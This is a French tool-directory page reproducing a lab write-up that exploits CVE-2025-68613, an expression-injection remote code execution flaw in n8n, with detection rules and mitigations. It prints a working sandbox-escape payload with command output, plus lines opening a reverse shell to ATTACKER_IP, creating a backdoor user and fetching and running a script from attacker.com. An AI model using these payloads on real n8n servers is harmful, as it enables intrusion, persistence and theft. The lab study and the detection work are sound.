Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
n8n-cve-2025-68613-thm — Procédure pas à pas éducative pour l'exploitation de CVE-2025-68613, une RCE critique dans l'automatisation de workflows n8n. Couvre l'injection d'expression, l'évasion du bac à sable, le développement de payload et les stratégies de détection via un laboratoire TryHackMe. | Kitploit
Outils/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCommandement et ContrôleApprentissage et ÉducationRéponse aux IncidentsDéveloppement de Charges UtilesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Procédure pas à pas éducative pour l'exploitation de CVE-2025-68613, une RCE critique dans l'automatisation de workflows n8n. Couvre l'injection d'expression, l'évasion du bac à sable, le développement de payload et les stratégies de détection via un laboratoire TryHackMe.

Voir le dépôt
1il y a 7 moisPas encore vérifié

CVE-2025-68613 – Exploitation RCE Critique de n8n

Aperçu

Ce référentiel documente une exploitation pratique de CVE-2025-68613 (CVSS 9.9), une vulnérabilité critique d'exécution de code à distance affectant la plateforme d'automatisation de workflows n8n (versions 0.211.0 à 1.120.3).

Cette exploitation a été réalisée éthiquement dans un environnement de laboratoire TryHackMe contrôlé à des fins éducatives uniquement.


Résumé de la vulnérabilité

ChampValeur
ID CVECVE-2025-68613
Score CVSS9.9 (Critique)
Publié19 décembre 2025
Produit affectéPlateforme d'automatisation de workflows n8n
Type de vulnérabilitéInjection d'expression → Évasion du sandbox → RCE
Vecteur d'attaqueUtilisateur authentifié (par défaut)
Versions corrigées1.120.4, 1.121.1, 1.122.0+
Versions affectées0.211.0 - 1.120.3

Qu'est-ce que n8n ?

n8n est une plateforme open-source d'automatisation de workflows qui permet aux utilisateurs de connecter visuellement des applications et des services pour automatiser des tâches. Elle propose :

  • Architecture de workflow basée sur des nœuds : Chaque nœud représente une action (requête API, traitement de données, email, etc.)
  • Plus de 400 intégrations natives : Connecteurs pré-construits vers diverses API et services
  • Nœuds de code : Exécution de code JavaScript ou Python personnalisé
  • Évaluation d'expressions : Expressions dynamiques encapsulées dans {{ }} évaluées comme du JavaScript

Modèles de déploiement

  • Instances auto-hébergées (sur site ou cloud privé)
  • Service géré hébergé dans le cloud (n8n.cloud)
  • Outils d'automatisation internes au sein des réseaux d'entreprise

Contexte technique

La chaîne de vulnérabilité

La vulnérabilité réside dans le système d'évaluation des expressions de workflow de n8n. Lorsque des utilisateurs authentifiés configurent des workflows, leurs entrées sont traitées comme du code JavaScript sans sandboxing adéquat.

Chaîne d'escalade de contexte

root@kitploit:~
Sandbox d'expression
    ↓ (évasion via 'this')
Contexte global Node.js
    ↓ (accès à mainModule)
Système de modules (require)
    ↓ (chargement de child_process)
Exécution de commandes système

Failles clés

  1. Évaluation d'expression non sécurisée : Les expressions utilisateur encapsulées dans {{ }} sont évaluées comme du JavaScript brut sans isolation de contexte appropriée
  2. Évasion du sandbox : L'accès à l'objet this permet de s'échapper des restrictions du sandbox
  3. Accès non restreint aux modules : process.mainModule.require() donne accès au système de modules Node.js
  4. Chargement dangereux de modules : Peut charger le module child_process pour exécuter des commandes système
  5. Aucune protection d'authentification significative : Tout utilisateur authentifié peut exploiter la vulnérabilité

Détail de la charge utile d'exploitation

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Explication :

  • this → Objet global Node.js
  • this.process → Objet processus Node.js
  • process.mainModule → Module racine de l'application n8n
  • .require('child_process') → Chargement du module d'exécution de commandes système
  • .execSync('COMMAND') → Exécution synchrone d'une commande shell
  • .toString() → Conversion du tampon Buffer en chaîne lisible

Procédure d'exploitation

Étape 1 : Authentification

Accédez à l'instance n8n vulnérable et connectez-vous avec des identifiants valides.

Identifiants du laboratoire :

  • Email : [email protected]
  • Mot de passe : Try12345!

Écran de connexion


Étape 2 : Accueil et création du workflow

Après la connexion, l'interface de création de workflow s'affiche. Cliquez sur "Start from scratch" pour créer un nouveau workflow.

Écran d'accueil


Étape 3 : Ajouter un déclencheur manuel

Cliquez sur "Add first step" et recherchez "Manual Trigger". Ce nœud sert de point d'entrée pour l'exécution du workflow.

Configuration du déclencheur manuel

Objectif : Le nœud Manual Trigger permet une exécution manuelle du workflow via le bouton "Execute workflow" dans l'interface, ce qui est idéal pour les tests.


Étape 4 : Configurer le workflow et ajouter un mappage de champ

Ajoutez un nœud "Edit Fields" pour effectuer le mappage de champ. C'est ici que la vulnérabilité est exploitée.

Configuration du workflow

Étapes de configuration :

  1. Cliquez sur "Add field" pour ajouter un nouveau mappage de champ
  2. Placez le mode sur "Expression"
  3. Cela permet l'évaluation de code JavaScript

Étape 5 : Exécution de la commande id

Injectez la charge utile pour exécuter la commande id et obtenir les informations utilisateur/privileges.

Charge utile :

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Résultat :

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

Exécution de la commande ID

Informations obtenues :

  • Exécution en tant qu'utilisateur non root (uid=1000)
  • Appartenance au groupe (gid=1000)
  • Chemins potentiels d'élévation de privilèges

Étape 6 : Énumération du système de fichiers avec ls

Modifiez la charge utile pour exécuter la commande ls et lister le contenu du répertoire.

Charge utile :

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Exécution de la commande LS

Sortie affichée :

  • Fichier flag présent : flag.txt
  • Structure du répertoire et permissions
  • Informations de reconnaissance supplémentaires

Étape 7 : Extraction de données sensibles

Lisez le fichier flag avec la commande cat pour terminer l'exploitation.

Charge utile :

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Flag récupéré :

root@kitploit:~
THM{n8n_exposed_workflow}

Extraction du flag


Techniques d'exploitation avancées

1. Shell inverse

Établir un accès shell interactif pour un contrôle persistant :

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Création d'un utilisateur backdoor

Ajouter un nouvel utilisateur système pour un accès persistant :

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Téléchargement d'une charge utile malveillante

Récupérer et exécuter du code à distance :

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Énumération d'élévation de privilèges

Vérifier les privilèges sudo :

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. Reconnaissance de l'environnement

Extraire les variables d'environnement :

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

Stratégies de détection

Journalisation du proxy web (Nginx)

Configurez votre proxy pour enregistrer le corps des requêtes à des fins d'analyse :

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Règle de détection Sigma

Détection des tentatives d'exploitation via les requêtes API de workflow :

root@kitploit:~
title: CVE-2025-68613 - Injection d'expression n8n RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

Surveillance de la création de processus

Surveiller les processus enfants suspects engendrés par n8n :

  • Surveiller le lancement inattendu de child_process
  • Détecter les connexions shell inverses (bash, nc)
  • Suivre les téléchargements/exécutions de fichiers suspects
  • Alerter en cas de tentatives d'élévation de privilèges

Emplacements des journaux

  • Journaux n8n : /root/.n8n/logs/
  • Journaux système : /var/log/auth.log, /var/log/syslog
  • Journaux d'exécution des workflows : base de données n8n

Indicateurs de compromission

  • Expressions JavaScript suspectes dans les champs de workflow contenant :
    • process.mainModule
    • require('child_process')
    • execSync ou spawn
  • Exécutions inhabituelles de child_process
  • Modifications inattendues de workflows
  • Tentatives de connexion échouées suivies d'un accès réussi
  • Modifications du système de fichiers dans des répertoires inattendus

Chronologie de l'exploitation


Atténuation et prévention

Actions immédiates

  1. Mettre à jour n8n vers les versions corrigées :

    • v1.120.4
    • v1.121.1
    • v1.122.0 ou ultérieure
  2. Restreindre l'accès réseau

    • Mettre en place des règles de pare-feu pour limiter l'accès à n8n
    • Utiliser un VPN ou des bastions pour l'accès administratif
    • Désactiver l'exposition externe si non nécessaire
  3. Authentification forte

    • Imposer des mots de passe forts
    • Mettre en œuvre l'authentification multifacteur (MFA)
    • Utiliser l'intégration SSO lorsque possible
  4. Surveillance et journalisation

    • Activer la journalisation détaillée pour toutes les activités n8n
    • Surveiller les modifications de workflows en temps réel
    • Configurer des alertes pour les expressions suspectes

Mesures de sécurité à long terme

  1. Validation et assainissement des entrées

    • Ne jamais évaluer l'entrée utilisateur comme du code
    • Mettre en œuvre une liste blanche d'expressions
    • Assainir toutes les définitions de workflow
  2. Implémentation du sandbox

    • Isoler l'évaluation des expressions dans un sandbox restreint
    • Limiter l'accès aux API Node.js
    • Utiliser des machines virtuelles ou des conteneurs pour l'isolation
  3. Principe du moindre privilège

    • Exécuter n8n avec les permissions minimales requises
    • Restreindre l'accès au système de fichiers
    • Limiter la connectivité réseau
  4. Revue de code et tests de sécurité

    • Audits de sécurité réguliers des nœuds personnalisés
    • Mettre en œuvre des outils SAST/DAST
    • Effectuer des exercices de modélisation des menaces

Références

  • Documentation officielle de n8n
  • Politique de sécurité de n8n
  • Module Child Process de Node.js
  • Injection de code OWASP
  • CWE-95 : Neutralisation incorrecte des directives dans le code évalué dynamiquement
  • Calculateur CVSS v3.1

Informations sur le laboratoire

  • Plateforme : TryHackMe
  • Salle : n8n: CVE-2025-68613
  • URL de la salle : https://tryhackme.com/room/n8ncve202568613
  • Difficulté : Moyen à Difficile
  • Objectifs d'apprentissage : Injection d'expression, évasion de sandbox, RCE, stratégies de détection

Avertissement

Cette documentation est fournie à des fins éducatives et de tests de sécurité autorisés uniquement. Les techniques d'exploitation décrites sont destinées à :

  • Tests de pénétration autorisés
  • Recherche en sécurité dans des environnements contrôlés
  • Pratique en laboratoire TryHackMe
  • Compréhension des vulnérabilités de sécurité

L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation écrite appropriée avant d'effectuer des tests de sécurité.


Structure du référentiel

root@kitploit:~
.
├── README.md                    # Ce fichier
├── exploitation-details.md      # Guide technique approfondi
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

Notes de l'auteur

Ce compte-rendu documente l'exploitation réussie de CVE-2025-68613 dans un environnement de laboratoire TryHackMe. La vulnérabilité démontre l'importance cruciale de l'évaluation sécurisée du code et les dangers d'une implémentation inadéquate du sandbox dans les plateformes d'automatisation.

Comprendre cette vulnérabilité aide à la fois les équipes de sécurité offensive à identifier des problèmes similaires et les équipes défensives à développer des stratégies de détection plus efficaces.

Télécharger l’outil
ÉtapeActionTemps
1Accès à l'instance n8nSecondes
2Création/modification du workflow< 1 minute
3Ajout du nœud de mappage de champ< 1 minute
4Injection et exécution de la commande id< 30 secondes
5Énumération du système de fichiers avec ls< 1 minute
6Extraction des données avec cat< 30 secondes
TotalExploitation RCE complète< 5 minutes